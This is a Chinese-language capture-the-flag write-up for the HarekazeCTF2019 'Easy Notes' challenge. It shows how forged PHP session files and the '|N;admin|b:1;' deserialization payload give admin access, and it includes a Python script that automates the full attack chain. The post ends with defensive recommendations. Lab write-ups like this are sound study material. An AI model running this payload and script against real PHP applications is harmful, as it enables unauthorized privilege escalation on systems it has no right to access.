![BUUCTF:[HarekazeCTF2019]Easy Notes 从Session伪造到反序列化漏洞的实战利用](http://pic.xiahunao.cn/yaotu/BUUCTF:[HarekazeCTF2019]Easy Notes 从Session伪造到反序列化漏洞的实战利用)
1. 初识Easy Notes应用最近在BUUCTF平台上刷题时遇到一个挺有意思的Web题目——[HarekazeCTF2019]Easy Notes。这是一个模拟的笔记应用功能看起来很简单用户可以注册登录、添加笔记、导出笔记。但题目提示flag藏在flag.php里需要管理员权限才能访问。我花了几天时间研究这个题目发现它巧妙地将Session伪造和反序列化漏洞结合在一起形成了一个完整的攻击链。这个应用最特别的地方在于它没有使用数据库来存储用户信息而是完全依赖Session来管理用户状态。Session文件存储在/var/www/tmp目录下这个细节后来成为了突破的关键。在测试过程中我发现应用的导出功能有个有趣的行为当请求export.php?type.时会把当前用户的笔记导出为一个以session命名的文件。这个看似无害的功能实际上暗藏玄机。2. Session伪造的艺术2.1 Session机制剖析要理解这个漏洞首先得弄清楚PHP的Session机制。PHP默认会把Session数据以文件形式存储在服务器上文件名通常是sess_加上Session ID。比如用户登录后服务器会生成一个类似sess_1efc41617c4985c1的文件里面保存着这个用户的会话数据。在Easy Notes应用中我注意到一个关键点它允许用户注册任意用户名包括包含特殊字符的名称。更妙的是当用户添加笔记时应用会把笔记内容保存到/var/www/tmp目录下——这正是Session文件的存储位置。这就埋下了一个伏笔如果我们能控制文件名就有可能伪造Session。2.2 构造恶意用户名经过多次尝试我发现可以注册一个用户名为sess_的账号。这样当这个用户添加笔记时笔记文件就会以sess_开头正好符合Session文件的命名规则。但问题来了Session文件名后面还需要一个随机的Session ID这部分我们无法直接控制。这里有个巧妙的技巧PHP在Ubuntu系统上默认使用php作为session.serialize_handler。这个处理器有个特性——它使用|作为键值分隔符。这意味着如果我们能在Session数据中注入|字符就能构造出恶意的序列化数据。3. 反序列化漏洞利用3.1 理解反序列化漏洞反序列化漏洞在PHP中很常见它允许攻击者通过控制序列化数据来修改程序逻辑。在本题中flag.php会检查$_SESSION[admin]是否为true如果是就显示flag。我们的目标就是通过伪造Session让这个值变为true。关键点在于我们需要找到一个能够将我们控制的数据反序列化的入口。在Easy Notes中这个入口就是笔记的标题字段。当添加笔记时标题会被保存到文件中而这个文件又恰好可以被当作Session文件来解析。3.2 构造payload经过反复测试我找到了有效的payload格式|N;admin|b:1;这个payload的妙处在于开头的|会被PHP识别为键值分隔符N;表示null相当于一个占位符admin|b:1;表示将admin字段设置为true当这个字符串被当作Session数据解析时PHP会将其反序列化为一个包含admintrue的数组正好满足flag.php的检查条件。4. 完整攻击链构建4.1 分步攻击流程现在我们把各个部分串联起来完整的攻击流程如下注册一个用户名为sess_的账号用这个账号登录添加一个笔记标题设置为我们的payload|N;admin|b:1;访问export.php?type.这会触发笔记导出从响应头中获取生成的Session文件名使用这个Session ID访问flag.php这个过程看似简单但每个环节都环环相扣。最精妙的部分在于export.php的处理逻辑当type参数为.时它会与文件名中的.组合成..然后被替换为空字符串最终使得导出的文件名正好符合Session文件的格式。4.2 自动化攻击脚本为了更高效地进行测试我写了一个Python自动化脚本import re import requests URL http://target.url/ while True: # 第一步注册并登录sess_账号 sess requests.Session() sess.post(URL login.php, data{user: sess_}) # 第二步添加恶意笔记 sess.post(URL add.php, data{ title: |N;admin|b:1;, body: hello }) # 第三步触发导出获取Session ID r sess.get(URL export.php?type.).headers[Content-Disposition] sessid re.findall(rsess_([0-9a-z-]), r)[0] # 第四步使用伪造的Session访问flag r requests.get(URL ?pageflag, cookies{PHPSESSID: sessid}).content.decode(utf-8) flag re.findall(rflag\{.\}, r) if len(flag) 0: print(flag[0]) break这个脚本会自动完成整个攻击流程直到成功获取flag为止。在实际测试中可能需要多次尝试才能成功因为Session ID的生成有一定随机性。5. 漏洞防御建议5.1 输入过滤与验证这个漏洞的根本原因在于应用对用户输入缺乏足够的过滤。至少应该做到禁止用户名包含特殊字符和下划线对笔记标题进行严格的字符过滤确保用户生成的文件不会与系统文件重名5.2 Session安全配置在服务器配置方面可以采取以下措施将Session文件存储在非Web可访问目录使用自定义的session.serialize_handler设置严格的session文件权限5.3 业务逻辑加固从业务逻辑层面应该避免将用户可控的数据与系统关键数据混用同一存储位置。特别是像Session这种敏感数据更应该与其他用户数据物理隔离。这个题目给我最大的启示是安全是一个整体任何一个看似微小的设计缺陷都可能成为整个系统被攻破的突破口。在实际开发中我们必须对每个细节都保持警惕特别是当不同功能模块之间存在潜在交互时更需要谨慎处理。